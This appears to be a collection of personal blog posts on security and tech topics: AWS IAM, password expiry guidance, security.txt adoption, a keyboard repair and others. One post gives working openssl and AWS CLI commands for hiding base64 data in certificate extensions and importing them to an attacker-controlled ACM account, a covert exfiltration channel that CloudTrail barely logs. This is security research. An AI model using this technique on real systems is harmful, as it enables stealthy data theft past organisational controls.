costaskou

Eternal Alex Coefficient

2025-12-21T00:00:00+00:00

Have you ever sat in a meeting when someone asks, “Didn’t Alex fix this back in 2015?”, and the room falls silent as people do the mental math on how long it’s been since Alex left the company?

Alex left the company years ago, yet his name still guides technical decisions. The Eternal Alex Coefficient (EAC) offers a straightforward coefficient that measures how often an absent employee’s solutions continue to shape present work.

Define Y as the number of full years that have elapsed since the employee’s departure. Define T as the total number of distinct times that the employee’s name is invoked during the current calendar year.

EAC is EAC = Y × T</code>. 

When Bob left seven years ago and was still mentioned three times this quarter, his EAC stands at twenty‑one. This value grows either because the legend strengthens or because time marches on, a dynamic that rewards both narrative stickiness and organisational forgetfulness.

On a Friday afternoon, two colleagues have a chat about a potential issue. 


Didn't Mary try to solve this in 2020 ?</li>
What happened in the end?</li>
The COVID-19 pandemic. Hadn't thought about this problem since.</li>
</ul>
Now you could take this a step further and make it a league or a type of hall of fame. "It has been 5 days since we last mentioned an employee that no longer works here".</p>
Apparently, Walsh and Ungson (1991) proposed a structure for organisational memory^{1</a></sup>, of which individuals is one of the "storage bins" of information.
In other words one of the ways that organisations remember how to make better decisions is because of the specific people and their roles.
</p>}
Normally this isn't a problem, if the person still works for the organisation.
If the organisation hasn't transitioned to other forms of storing information and the person does not work for the organisation anymore, then that could be problematic.</p>
This could lead to Chesteron's fence</a> type of scenarios at the very least, where no one knows why a single or multiple individuals made a decision.</p>
Other times the organisation might - almost - seize to function</a> .</p>
^{1</sup>
Walsh, J. P., & Ungson, G. R. (1991). Organizational memory. The Academy of Management Review, 16(1), 57–91. </p>
</div>}



How common is security.txt in financial services
2025-10-16T00:00:00+00:00
I very matter of factly told a colleague that security.txt</code> is a well-known standard but it's not widely used in "major corporations". In the context of our conversation I took "major corporations" to mean financial services.
I didn't have the data on hand to back up the claim.</p>
I compiled a list of 207 financial services domains1</a></sup>. Banks, insurers, pension providers, etc., a bit more heavy UK heavy.</p>
Then I wrote a script to check for the presence of ./well-known/security.txt</code> or security.txt</code>.</p>
Out of 207 domains, 18</em> or 8.7%</em> had a security.txt</code> in place. I didn't parse the contents for compliance to the standard, but research2</a></sup> suggests that only a subset of security.txt</code> implementations is compliant. It's likely that some of these domains would have blocked my requests and an unknown number of false negative results is skewing the result. </p>
Nonetheless the standard was submitted in 2017 and as of April 2022 it's RFC 9116</a>.</p>
The adoption rate, on a global scale, over time has been steadily increasing since 2020 3</a></sup> with more recent analysis in 2025 4</a></sup> confirming a steady uptake.</p>
After writing my check, I came across https://github.com/markuta/go-security-txt</a> which includes a broader survey and detailed analysis of security.txt</code> adoption.</p>

^1</sup>https://gist.github.com/costasko/e2ced6cef50e2aa86b9d9e6727b172b4</a></p>
</div>
^2</sup>Hilbig, T., Geras, T., Kupris, E. and Schreck, T. (2023). security.txt Revisited: Analysis of Prevalence and Conformity in 2022. Digital Threats: Research and Practice, 4(3), pp.1–17. doi:https://doi.org/10.1145/3609234</a></p>
</div>
^{3</sup>
Poteat, T. and Li, F. (n.d.). Who You Gonna Call? An Empirical Evaluation of Website security.txt Deployment. [online] doi:https://doi.org/10.1145/3487552.3487841.</p>
</div>}^4</sup>https://www.uriports.com/blog/security-txt-in-2025/</a></p>
</div>


Using AWS Certificate Manager as a covert exfiltration mechanism
2025-08-13T00:00:00+00:00
One of my hobbies is researching covert exfiltration mechanisms that use public cloud services1</a></sup>.</p>
Public cloud at its core has most service endpoints on the internet. If all you need is a bit of compute talking to some storage, you’d rather not involve the internet at all.</p>
Enter private endpoints VPC-only access to managed services. On AWS, you can attach policies to some of them, so only your accounts and networks can use them. But not every service supports VPC endpoints.</p>
Let's pick AWS Certificate Manager as an example, a service that doesn't have a VPC endpoint.
Issuing or importing a certificate that can be used by other services, e.g. elastic load balancers, requires AWS Certificate Manager (ACM).</p>
Two premises follow: </p>

You need to involve the internet to use ACM.</li>
If an attacker compromises a host - and that's a big if - that can reach ACM’s public endpoint, they can reach ACM in their</em> account with their</em> credentials, a Bring Your Own Credentials (BYOC) attack. 2</a></sup></li>
</ol>
</p>
The problem with AWS services that don't have VPC endpoints or VPC endpoint policies is that they cannot be configured to prevent BYOC attacks.  Building a data perimeter on AWS</a> and using a proxy, doesn't solve this, the service is allowed.</p>
The attacker's challenge is that even if they did</em> manage to mount a BYOC attack, they wouldn't necessarily have access to a storage service like S3. They're limited in exfiltrating certificates.</p>
Out of the box ACM does not give an attacker a service that can be used to exfiltrate data. </p>
So how do you exfiltrate arbitrary data when all you've got is a certificate manager?</em></p>
Hello X.509 my old friend</h3>
We can build a message queue out of anything3</a></sup>. </p>
The ACM API</a> is fairly straightforward.</p>
Asking AWS to generate a certificate doesn't leave much room for data. A Subject Alternative Name (SAN) extension allows up to 100 names, with each name limited to 253 octets. That's ~25KB.</p>
However, ACM allows you to import certificates, including a certificate chain with a size of 2097152 bytes4</a></sup>. That's 2MB of data per certificate and we can import ~5_000 in a year.</p>
Now we need to craft a valid X.509 certificate. 
We'll use the v3 extension nsComments</a>, technically deprecated (?) but it's free form with no length limits.</p>
cat </span>></span>ext.cnf </span><<EOF 
</span>[v3_ext]   
</span>nsComment = $(cat ourb64encoded.data)
</span>EOF
</span></code></pre>
We don't care about anything else at this point so we'll create keys, certs, and our cert chain.</p>

</span>openssl req</span> -newkey</span> rsa:2048</span> -nodes </span>\
</span>  -subj </span>"/CN=leaf"</span> -keyout</span> key.pem</span> -out</span> leaf.csr
</span>
</span>openssl x509</span> -req -days</span> 1</span> -in</span> leaf.csr</span> -signkey</span> key.pem</span> -out</span> cert.pem
</span>
</span>openssl req</span> -new -newkey</span> rsa:2048</span> -nodes </span>\
</span>  -subj </span>"/CN=payload‑carrier‑CA"</span> -keyout</span> ca_key.pem</span> -out</span> ca.csr
</span>
</span>openssl x509</span> -req -days</span> 365</span> -in</span> ca.csr</span> -signkey</span> ca_key.pem \
</span>  -extfile</span> ext.cnf</span> -extensions</span> v3_ext</span> -out</span> chain.pem
</span></code></pre>
Our payload is in chain.pem</code></p>
We'll import everything to ACM</p>
aws acm import-certificate --certificate fileb://cert.pem --private-key fileb://key.pem --certificate-chain fileb://chain.pem --output json > importresp</code></p>
We now have our data in ACM.
To get our data back we can call get-certificate</code></p>
Keep the importresp</code> handy, as it contains the ARN of our certificate.</p>
aws acm get-certificate</span> --certificate-arn</span> (cert_arn_from_importresp)</span>| </span>jq</span> -r </span>'.CertificateChain' </span>></span> out.pem`
</span>openssl x509</span> -in</span> chain.pem</span> -noout -ext</span> nsComment </span>| </span>awk </span>'NR==2' </span>| </span>tail</span> -c</span>+5 </span>| </span>base64</span> -d </span>></span> ourb64encoded.data2
</span></code></pre>
There's our data! Looking at CloudTrail</p>
{
</span>    </span>"eventVersion"</span>: </span>"1.11"</span>,
</span>    </span>"userIdentity"</span>: {
</span>        </span>"type"</span>: </span>"IAMUser"</span>,
</span>        </span>"principalId"</span>: </span>"AIDAWXXXXXXX"</span>,
</span>        </span>"arn"</span>: </span>"arn:aws:iam::0123456789012:user/woot"</span>,
</span>        </span>"accountId"</span>: </span>"0123456789012"</span>,
</span>        </span>"accessKeyId"</span>: </span>"AKIAXXXXXXX"</span>,
</span>        </span>"userName"</span>: </span>"woot"
</span>    },
</span>    </span>"eventTime"</span>: </span>"2025-08-05T2:16:39Z"</span>,
</span>    </span>"eventSource"</span>: </span>"acm.amazonaws.com"</span>,
</span>    </span>"eventName"</span>: </span>"ImportCertificate"</span>,
</span>    </span>"awsRegion"</span>: </span>"eu-west-1"</span>,
</span>    </span>"sourceIPAddress"</span>: </span>"sourceIPAddress"</span>,
</span>    </span>"userAgent"</span>: </span>"Boto3/1.39.3 md/Botocore#1.39.3 ua/2.1 os/linux#6.8.0-65-generic md/arch#x86_64 lang/python#3.10.12 md/pyimpl#CPython m/b,D,Z cfg/retry-mode#legacy Botocore/1.39.3"</span>,
</span>    </span>"requestParameters"</span>: {
</span>        </span>"reason"</span>: </span>"requestParameters too large"</span>,
</span>        </span>"omitted"</span>: </span>"true"</span>,
</span>        </span>"originalSize"</span>: </span>"4642657"
</span>    },
</span>    </span>"responseElements"</span>: {
</span>        </span>"certificateArn"</span>: </span>"arn:aws:acm:eu-west-1:0123456789012:certificate/56af65b9-7677-37cb-9385-7317bc1e6e3b"
</span>    },
</span>    </span>"requestID"</span>: </span>"someuuid"</span>,
</span>    </span>"eventID"</span>: </span>"anotheruuid"</span>,
</span>    </span>"readOnly"</span>: </span>false</span>,
</span>    </span>"eventType"</span>: </span>"AwsApiCall"</span>,
</span>    </span>"managementEvent"</span>: </span>true</span>,
</span>    </span>"recipientAccountId"</span>: </span>"0123456789012"</span>,
</span>    </span>"eventCategory"</span>: </span>"Management"</span>,
</span>    </span>"tlsDetails"</span>: {
</span>        </span>"tlsVersion"</span>: </span>"TLSv1.3"</span>,
</span>        </span>"cipherSuite"</span>: </span>"TLS_AES_128_GCM_SHA256"</span>,
</span>        </span>"clientProvidedHostHeader"</span>: </span>"acm.eu-west-1.amazonaws.com"
</span>    }
</span>}
</span></code></pre>
Because the request parameters are too large, detecting this method can only be done via a TLS breaking intercepting proxy, as it stands. 
In other words, our egress filter would need to unpack each imported certificate and scan it.</p>
FUSE</h3>
Possibly entering the realm of cursed engineering, instead of scripting, we can turn it into a userspace filesystem.</p>

Introducing ACM FS a secure-by-default, HSM-backed storage, capable of storing up to 7.5 GB.5</a></sup></p>
</blockquote>
It can't do paths, it can split bigger files 6</a></sup> into multiple certs and has a cache!</p>
You can find an implementation here</a> 7</a></sup></p>
On "free" storage</h2>
A similar principle exists with AWS IAM and SAML certificates. AWS IAM supports a VPC endpoint only in the us-east-1 region.
Using SAML provider metadata, you can store up to 10 MB per identity provider. There does not appear to be a hard limit on the number of identity providers, which could theoretically allow for very large total storage. A similar approach might be possible with an embedded X.509 certificate.</p>
When it comes to storage, honourable mention goes to AWS Lambda, with 50 MB per function and a total of 75 GB. In theory, you could embed data within a Python file (for example, inside a multi-line comment) and upload it using CreateFunction.</p>
API Gateway allows up to 6 MB in ImportRestApi, so you might be able to include unusually long descriptions in certain properties.</p>
The world is your oyster - but this is purely a technical observation, not a recommendation.</p>

Disclaimer: This information is provided for educational and illustrative purposes only. Do not attempt, replicate, or apply any of these techniques in real systems. Doing so may violate terms of service, end-user license agreements, or applicable laws. I take no responsibility whatsoever for any actions you take or consequences you incur. Proceeding with such activities could result in account suspension, legal action, or other serious repercussions.</p>
</blockquote>

^1</sup>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</a></p>
</div>
^{2</sup>
This is not an AWS vulnerability.The security of customer owned EC2 instances falls into the customer's part of the shared responsibility model</p>
</div>}^3</sup>What should probably be called Xe's law ? https://xeiaso.net/blog/anything-message-queue/</a></p>
</div>
^{4</sup>
I don't know why 2^21</p>
</div>}^{5</sup>
We lose about 33% of the 2MB due to base64 encoding on the total theoretical 5_000 certs</p>
</div>}^{6</sup>
But I haven't really tested this</p>
</div>}^7</sup>fusepy</a> is a fantastic project</p>
</div>


Why are you expiring my password?
2025-05-14T00:00:00+00:00
It seems like you're asking me to change my password every x days.
I don't think this is a good idea. You're signalling that your authentication and IAM maturity isn't where it should be 1</a></sup></p>
You don't have to take my word for it.</p>
Source</th> Quote</th></tr></thead>

NIST 800-63B rev.3</a></td> Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers^{2</a></sup> SHALL force a change if there is evidence of compromise of the authenticator.</td></tr>}
NCSC UK</a></td> Regular password changing harms rather than improves security. Many systems will force users to change their password at regular intervals, typically every 30, 60 or 90 days. This imposes burdens on the user and there are costs associated with recovering accounts.</td></tr>
NCSC NL</a></td> Periodic modification of passwords provides only marginal improvement and in practice leads to easier to guess passwords. The NCSC advises not to impose any restrictions on this. ^{3</a></sup></td></tr>}
BSI/German Federal Office for Information Security</a></td> Regular, unprovoked password changes lead to the use of increasingly weaker passwords. ^{4</a></sup></td></tr>}
Canadian Centre for Cyber Security</a></td> Password aging places a heavy burden on users and can result in users engaging in less secure behaviours (such as writing down passwords and not storing them appropriately). The security value these security controls provide is debatable. Even with a 90-day expiration period, password aging provides an average exploitation window of 45 days.</td></tr>
ISO 27002:2022 5.17</a></td> Requiring frequent change of passwords can be problematic because users can get annoyed by the frequent changes, forget new passwords, note them down in unsafe places, or choose unsafe password.</td></tr>
OWASP Authentication Cheat Sheet</a></td> Ensure credential rotation when a password leak occurs, at the time of compromise identification or when authenticator technology changes. Avoid requiring periodic password changes; instead, encourage users to pick strong passwords and enable Multifactor Authentication Cheat Sheet (MFA). According to NIST guidelines, verifiers should not mandate arbitrary password changes (e.g., periodically).</td></tr>
Google</a></td> Password expiration is turned off by default because research has shown little positive impact on security.</td></tr>
Microsoft</a></td> Current research strongly indicates that mandated password changes do more harm than good. They drive users to choose weaker passwords, reuse passwords, or update old passwords in ways that are easily guessed by hackers.</td></tr>
</tbody></table>
This sort of problem has been systematically covered for quite a while now.</p>
On the other side for password expiration.</p>
Source</th> Quote</th></tr></thead>

CIS Benchmarks Password Policy Guide</a></td> Change immediately based on with a one-year expiration “backstop” (annual). ^{5</a></sup></td></tr>}
PCI DSS v4.0.1</a></td> If passwords/passphrases are used as the only</em> authentication factor for user access (i.e., in any single-factor authentication implementation) then either: • Passwords/passphrases are changed at least once every 90 days, OR • The security posture of accounts is dynamically analyzed, and real-time access to resources is automatically determined accordingly. This requirement does not apply to in-scope system components where MFA is used.</strong></td></tr>
Multi-Level Protection Scheme (MLPS 2.0)</a>6</a></sup></td> Check whether passwords are periodically changed.</td></tr>
Your organisation</td> Password must be rotated every 90 days</td></tr>
</tbody></table>
Research shows ^{7</a></sup>, 8</a></sup> password expiry is not beneficial and it is reflected in (some) national guidance and standards.</p>}
Unless you're subject to MLPS 2.0, please don't ask me to change my password without a reason.</p>

^{1</sup>
or at the very best that you're operating in a space where you have to follow conflicting requirements.</p>
</div>}^{2</sup>
In NIST 800-63 parlance "the party to be authenticated is called a claimant and the party verifying that identity is called a verifier"</p>
</div>}^{3</sup>
Using Google Translate from Dutch</p>
</div>}^{4</sup>
Using Google Translate from German</p>
</div>}^{5</sup>
I think this is outdated as CIS Controls v8 don't mention password expiration or rotation</p>
</div>}^{6</sup>
I couldn't find a direct link to MLPS 2.0 so I'm using the Alibaba cloud MLPS compliance checks</p>
</div>}^7</sup>Zhang, Y., Monrose, F. and Reiter, M. (n.d.). The Security of Modern Password Expiration: An Algorithmic Framework and Empirical Analysis</a></p>
</div>
^8</sup>United States Federal Employees’ Password Management Behaviours (NIST IR 7991, 2014)</a></p>
</div>


Using OpenStreetMap to plot Thing A and Thing B on a map
2025-05-06T00:00:00+00:00
It all started down at the pub, during a casual, work-adjacent gathering.
Someone asked, "Wouldn't it be great if we could easily find all the burger places near here?"</p>
A classic question. The kind Google Maps can answer.
However, "here" is relative. For the purposes of this, "here" means a Young's pub.</p>
The question then becomes, "What if we wanted to find all burger places near Young's pubs?"1</a></sup>.</p>
The idea is to pick a burger place or a Young's pub based on how close they are to each other (and of course how close we are to either). I searched around but couldn't find anything that did exactly this - no tool that simply plots Thing A and Thing B on map at the same time. No directions, no filters - just a clean view of both, on the same map.</p>
In the spirit of 2010s mashups</a> I started doing this in python as a one-off. Static HTML, get the data using python, put it on a map, point-in-time accurate.</p>
Looking at the Overpass API</a>, there was no authentication required.
I could issue direct queries using just a bit of JS and get current data, not just point-in-time.</p>
It seemed fairly straightforward, until I realised that some Young's pubs were mysteriously missing. Not ideal 2</a></sup>.</p>
I headed to the Young's pubs</a> website to get a list of pubs in London. That meant trading off accuracy, as it'll now be postcode wide, but gain completeness.</p>
After scraping the data, I now needed to geocode the postcodes, i.e. convert them to latitude and longitude coordinates, so I could send them to Overpass.</p>
The data woes don't stop here. Young's lists a pub, the Nine Elms Tavern at SW8 5BP</em>. This postcode doesn't exist.
Therefore using the Nominatim API</a> returned null, which Overpass didn't appreciate. The actual postcode is SW11 8AY</em>.</p>
After that final bit, we now have our map.</p>
Young's pubs and burger places</a></p>
</iframe>
and here's a map to plot any Thing A and Thing B within London3</a></sup> 
You need to press Plot</code>.</p>
Thing A and Thing B on a map</a></p>
</iframe>

^{1</sup>
Young's pubs do burgers. However, the groups' intent was to move away from the pub and to a different establishment</p>
</div>
^{2</sup>
I believe the reason has to do with the branding that the pubs have. For example The Fellow at King's Cross does not have any Young's Pub relevant branding, but it is part of the chain. There was a delta between what OpenStreetMap thought was a pub operated by Young's and what Young's have on their website</p>
</div>
^{3</sup>
You can change the bounding box to anything else fairly trivially</p>
</div>}}}


Redox keyboard after 6 years
2025-01-19T00:00:00+00:00
2025 started with me ripping off the USB port of the left hand side of my redox keyboard.</p>
The micro USB cable that connected to my keyboard, had two tiny "hooks". These latch into the arduino USB receiver port.
It is apparently a common feature of micro USB cables.</p>
After 6 years these hooks decided to detach with the USB port, leaving the arduino USB-less.</p>
I built my keyboard a redox in 2018</a></p>
It has been great and the parts have kept up, after heavy daily use.</p>
I've read riveting reviews of ZSA Moonlander</a>. I didn't want to build a new keyboard from scratch.
I would have bought a redox again, but I couldn't find the same case nor any ready to ship units at falba.tech</a>.</p>
I asked around for recommendations</a></p>
Split mechanical keyboards are pricey, but worth it.</p>
In an attempt to salvage it in combination with prices, shipping times, and the fact that I had to learn a new keyboard layout, I reconsidered and tried to repair.</p>
I had three options:</p>

Try and re-flash the firmware on the right side as "Master"</li>
De-solder the current arduino solder and buy an arduino micro ~£8 </li>
Buy a new keyboard</li>
</ol>
Software option</h1>
I recalled that I used avrdude</code> and looking at the git history of redox I could possibly</em> get away with setting up the master as right.</p>
Now to install qmk on Ubuntu I did.</p>
git clone https://github.com/qmk/qmk_firmware.git
</span>cd</span> qmk_firmware
</span>python3</span> -m</span> pip install</span> --user</span> qmk
</span>sudo apt-get install avrdude gcc-avr avr-libc
</span>qmk setup
</span></code></pre>
After completing the setup (press Y everywhere)</p>
I then edited keyboards/redox/keymap/default/config.h</code> and added #define MASTER_RIGHT</code> just after the pragma declaration </p>
I compiled</p>
qmk flash</span> -kb</span> redox</span> -km</span> default
</span></code></pre>
Plugged my keyboard, and the left side was dead.</p>
It turns out that the keymap I was running, had declared #define MASTER_LEFT</code>. There is no way out of this. I need to remove the old arduino.</p>
Hardware option</h1>
Armed with a de-soldering pump, tweezers, and snips, it took about 30mins to remove the broken arduino pro, without breaking anything else.</p>
</p>
Flashed the new arduino pro with the default keymap, re-soldered it and realised that my old keymap can no longer compile.
Seems like there were breaking changes. At this point I was tempted to try ZMK, but the QMK configurator came through!</p>
After making a new-ish layout which is pretty much this one</a></p>
</p>
The resilience of modern PCBs and keyboard parts is quite understated. The serviceability should be a major selling point.</p>


Yet Another AWS IAM primer
2025-01-14T00:00:00+00:00
How many IAM layers exist when accessing an S3 object from within an AWS VPC using an AWS principal? 
In AWS, even if an identity has the required permissions to access a resource, that does not guarantee the resource will be accessible.</p>
There are generally three IAM layers: identity, network (VPC), and resource.</p>
The rule of thumb of AWS IAM evaluation logic is that as long as there isn't an explicit deny, but there is an explicit allow, access will be granted. If we think of the journey from identity to resource, we can build a very approximate mental model of how to think about AWS IAM1</a></sup>. You should now print the AWS IAM evaluation reference logic</a>, get a pen and write “VPC endpoint policies” above “Evaluate all applicable policies” to reflect how VPC endpoints factor into the process.</p>
</p>
When you make a request from within a VPC - targeting a VPC endpoint -  the request, carrying its SigV4, is sent to the AWS service's respective VPC endpoint.
The VPC endpoint evaluates the identity's permissions against the resource it's trying to access and either forwards (allows) or rejects the request to the resource. 
The other policy evaluations follow after that. This isn't applicable if the request isn't reaching the VPC endpoint and it's reaching the public endpoint of the AWS service. Access points are on a similar level.
The first core point is that if the request never reaches the service's endpoint, because a proxy</a> or VPC endpoint decide not to forward it, the rest of the evaluation stops early.</p>
We still need to understand the interactions between all of these IAM constructs.</p>
Here's a diagram to help us build our reasoning.2</a></sup></p>
</p>
Does a session policy that allows s3:GetObject</code>, automatically enable to access the S3 object?
No. Not if the identity didn't allow it in the first place. What's the relationship between a permissions boundary, a session policy, and an identity policy.
Identity policies are directly attached to your user or role. I'm going to hand-wave and pretend that only roles and users exist in AWS as principals. This isn't the case, but it simplifies stuff.</p>
Back to identity policies.</p>
You'll use permission boundaries as a guardrail to enforce boundaries on roles whose policies you cannot control. For example the app team can manage a role and you want to try to stop the role from creating VPCs. 
You'll use session policies when assuming a role and want to drop permissions. For example the app team has built an S3 router</a>. The role has access to the whole of the bucket but the session only allows access to a specific</em> key of the bucket. 
You'll use a Service Control Policy to as a guardrail against account level access. For example, allowlisting AWS services altogether.</p>
Use the diagram above to help you with the applicability and associations of policies against AWS principals, VPCs, and resources. If you're making a request to an AWS service that uses the public endpoint, remove the VPC endpoint policy.</p>
A few cautionary notes:</p>


Not all identities</em> have the same IAM resource constructs. IAM users can be part of groups which have their own policies.3</a></sup></p>
</li>

Not all AWS resources</em> have the same IAM resource constructs, not all AWS resources support policies, not all AWS services have VPC endpoints and not all VPC endpoint support policies.</p>
</li>

Part of the perceived AWS IAM complexity stems from inconsistency.4</a></sup></p>
</li>
</ol>
For instance, Amazon EFS has similar IAM constructs to S3, Amazon OpenSearch Service has Fine-grained-access controls</a>, a different IAM construct. Even S3 has Access Control Lists, another IAM construct, which I'm going to pretend they don't exist in this primer, and so should you.</p>
In most cases, the AWS services that work with IAM</a> page offers the de facto reference.
However, don't lean too heavy against it. As I mentioned earlier, what constitutes a "resource-based policy" varies. Take for example Amazon CloudSearch, which isn't listed as having one, but it does.5</a></sup></p>
The policy evaluation within an account goes like this -  "if an action is allowed by an identity-based policy, a resource-based policy, or both, then AWS allows the action."
Next time you see an empty S3 bucket policy, but the identity allows access and they're both in the same account, you now know why access will be granted. This is true for the majority of the cases that support resource-based policies - they don't require an explicit allow.</p>
A lesser known corollary is that if a resource allows access to the role (session) then neither the permissions boundary or the session policy are evaluated. Access is granted.
This is quite problematic in cases where you can explicitly control the identity-policies but cannot control the resource policies. This is where Resource Control Policies (RCPs) can shine.
More on that later.</p>
There are certain conditions on which the above diagram is not true.
For example when dealing with cross account access, things are different. When an identity from another AWS account is making requests to our resources, either via public or VPC endpoints.
Remember that all IAM policies apply to your AWS accounts' identities and resources only. If an attacker lands on your VPC they can use their identity and only the VPC policies would apply. </p>
The take away is that an AWS account is the logical access container.</p>
Before we move on, let's recap on our IAM components.</p>

Identity policies – The policies directly attached to your user or role</li>
Permissions boundary - An allowlist that is always</em> attached to your role</li>
Session policy -  A subset of permissions attached when you assume a role</li>
Service control policy - An SCP is an AWS organisation wide policy and is the ultimate allow or block list against services and identities</li>
Resource-based policies - Depends on the service, for example an S3 bucket policy</li>
Resource control policy - An RCP is an AWS organisation wide policy and is the ultimate allow or block list against services and resources</li>
VPC endpoint policy - When inside a VPC these policies allow or deny access to service requests. </li>
</ul>
Now, how can we determine which permissions affect our role trying to access an S3 object via a VPC endpoint ?6</a></sup></p>
The ultimate answer, is via automation and tooling.
Look at AWS IAM Access Analyzer</a>, aws-lint-iam-policies</a>, cloudpilot.io</a>, AWSXenos</a>, among many others. </p>
The check marks denote effective permissions. In other words where you see a check mark on the intersection of policies and none of the policies involved explicitly deny access, then access will be granted.</p>
Reminder An SCP or RCP on their own cannot grant permissions. An IAM role needs to have permissions to access a resource. As long as the SCP doesn't deny access to the identity or specific resource, then the identity can access the resource. If there's a resource policy in place7</a></sup></p>
</p>
The red check marks effective permissions are only</em> true when an identity outside</em> of the organisation is inside the VPC. The service control policy wouldn't be applied to that identity.
If you're inside a VPC owned by AWS account A and organisation A, and use credentials from AWS account B in organisation B, the service control policy of organisation A will not apply to your credentials from organisation B. Service Control Policies only apply to identities in the same organisation.</p>
You can bring your own credentials to a compute resource and as long as the VPC endpoint policy allows your principal then you can access a resource. The same applies if you're trying to access a resource via the service's public endpoint and not via the VPC endpoint.
Account B's principal won't be able to access account A' S3 bucket by default, as AWS resources are account bound8</a></sup>, but they would be able to access Account's B resources, which can lead to data exfiltration if this wasn't intended.</p>
This is where RCPs come in. In the event that you have a leaky S3 resource policy, your RCP can blanket deny access to all</em> principals outside the organisation.
In general for a data perimeter, i.e. for establishing a baseline in keeping your AWS data to your AWS organisation, you'd need to sprinkle aws:Principal*</a> and the aws:Resource*</a> IAM conditions.</p>
These conditions, prevent your AWS Principals from reaching to other account's resources. They would also prevent other AWS principals, outside of your AWS organisation, from reaching in to your resources.
Things get tricky when AWS services get involved or when you're hitting public endpoints because reasons</a> but the principles remain the same.</p>
While you could establish high-level guardrails for your AWS Principals, you couldn't do the same with your resources, until RCPs were introduced.</p>
Finally, it’s important to remember that IAM in AWS is constantly evolving and each service may bring its own nuances or additional policy constructs. By layering identity, VPC endpoint, and resource policies, plus leveraging organization-wide guardrails like SCPs and RCPs, you can build a robust data perimeter that keeps your accounts more secure. </p>
As always, though, real-world scenarios often blur these clean lines—especially once you factor in cross-account access, public endpoints, or specialized service features. That’s why having a solid mental model of the evaluation flow can help you troubleshoot and refine your security posture when it feels like the policies are all stacked on top of each other.</p>

^1</sup>It's not meant to represent how AWS IAM actually works. If you want to know more about how IAM actually works perhaps start with a gentle intro to Automated Reasoning</a> or a not so gentle intro to Zelkova</a></p>
</div>
^{2</sup>
Trying excalidraw because I don't want to admit that PowerPoint is the best diagramming tool. That goes for you Phil H.</p>
</div>}^{3</sup>
I won't go into IAM Identity Center because there is a great overlap of terminology with completely different meaning.</p>
</div>}^{4</sup>
Perhaps all</p>
</div>}^{5</sup>
I've reported the issue to the good folks as AWS</p>
</div>}^6</sup>Ultimately via automation and tooling. Look at AWS IAM Access Analyzer</a>, aws-lint-iam-policies</a>, cloudpilot.io</a>, AWSXenos</a>, among many others. </p>
</div>
^{7</sup>
This is an Euler diagram and not a Venn diagram</p>
</div>
^{8</sup>
Most of them</p>
</div>}}


A practical mnemonic for cybersecurity maturity
2024-09-19T00:00:00+00:00
Sometimes I use a simple mnemonic to evaluate an organisation's cybersecurity maturity. It's not perfect. It’s a useful tool to spark meaningful discussions about their security posture. 1</a></sup></p>
It boils down to asking one question.</p>
How does an organisation decide what technical controls to implement?</strong> In other words, what drives the decision to enable a mitigation?</p>
There are roughly three different ways an organisation builds practical cybersecurity:</p>

Incident-led</strong> : Reactive approach - Focus on security after an incident. Everything is on fire all the time</li>
Controls-led</strong> - Compliance based - Follow a control framework to the letter on every decision</li>
Risk-led</strong> - Contextual - Justifiable decisions to mitigate plausible threat scenarios under the context that the organisation operates</li>
</ol>

Imagine you're managing a typical 3-tier web application hosted on a cloud service provider like AWS.
To secure that application, where do you begin?</p>
Your first thoughts should consider business requirements, risk frameworks, or asking for more context.</p>
Let's build some context. This is an e-commerce web app, hosted in AWS. Even if you're not familiar with AWS, follow along.</p>
</p>
The decision you need to make is whether you need to segment this web application from the staging environment or not.</p>
I used the word need</em>, because the application can definitely work and deliver value, without any segmentation.
Who is to say that we need to segment stuff2</a></sup> ?</p>
Incident-led</h2>
An incident-led approach is typically driven by external pressure—either from auditors, regulators, or after a security incident.
Security changes happen most likely after</em> something has gone wrong. A security capability is found to be lacking.</p>
The organisation needs this security capability or you otherwise risk a licence or a fine.
There was no prior consideration, but external forces drive decision-making.
We can sprinkle knee-jerk reactions and constant firefighting.</p>
The need for the capability is driven by a past incident that caused downtime or a fine.
A vendor came in and promised to do everything and then more.
Maybe the organisation bought into Software Composition Analysis because in 2021 they didn't realise they were running Log4j. </p>
Back to our example. Do we segregate our staging and production environments ? No.</p>
Is there any sort of compartmentalisation? No.</p>
We start a programme of work to do this, after a developer accidentally deployed to production instead of staging.
Get very specific requirements from a third party and try to deliver those to a T.</p>
The requirements focus on capabilities and the answers are often a security product</em>. 
Usually at this point there is a Request For Proposal sent out to vendors to try to match and build that capability.
After purchasing the capability, it's revealed that it doesn't quite fit the mitigation that the organisation had in mind.</p>
The collective understanding of what the organisation is trying to achieve is lacking. </p>
We now have a firewall appliance and have split the network into two, but the appliance doesn't work with anything else in our network.
We will probably have to pay the vendor to operate it and in order to promote workloads from staging to prod, the appliance pretty much allows all to all between the "two networks" so it's just an extra hop now. We don't want to break stuff.</p>
It's cheaper short-term than tackling the root causes, so we'll follow a capability model of what the vendor offers.</p>
Next year we'll buy a better capability and possibly pivot to another area.</p>
The direction of this type of organisation will be to go cybersecurity shopping every year, buying products to fulfill their missing capabilities, largely reactionary.</p>
The next step is usually enquiring on how to build a structured approach to cyber security. Stop being driven by external priorities.
However, it tends to focus on panacea seeking solutions. That one product that can really help solve that problem.
Because it's almost always the problem of the product - "we bought the wrong thing".</p>
By the time the organisation reaches a pivot point, an external force resets the cycle, and the whole thing starts again.</em></p>
The overall approach is binary</em> and vendor-led</em>.
Overall it represents the lowest form of cybersecurity maturity, and puts a lot of pressure to the people on the ground.</p>
Controls-led</h2>
In a controls-led approach, the organisation follows predefined frameworks dogmatically.ISO27001, SOGP</a>, NIST, CIS Critical Security Controls, etc.</p>
Pick any of them, we'll find something like ABC-10: Segmentation and Subnetworks. Aha! It says: </p>

  "Define segmentation, label your stuff with classification, build subnetworks, think of regulators and risk.". 

      -- Your favourite control framework
</blockquote>
We can do this. We draw a line on our diagram. If customer data goes down a path, we'll call this production.
If customer data doesn't go down that path, it's... not production.</p>
These two paths never merge. We'll put them in different VPCs, or maybe even different accounts. Great.
Alice though will still have access to deploy to both environments from her machine. Maybe we'll stop Alice, but we can't "stop" Jenkins.</p>
Now we've got segmentation. Except the things that need to talk to both environments at the same time like security scanners, "break glass" access, CI/CD pipelines, observability tooling, that ETL job that anonymises data from prod to dev every Friday so we can run analytics, and those two components that point from prod to test because if we migrate them, we might break everything, and they are way down our backlog.</p>
Upon review that might not quite fit with what the frameworks are prescribing, or it might.
In general there is nervousness about the approach, but the debate never settles. There isn't an established agreed position, and the solution is to mostly read further on the scripture.</p>
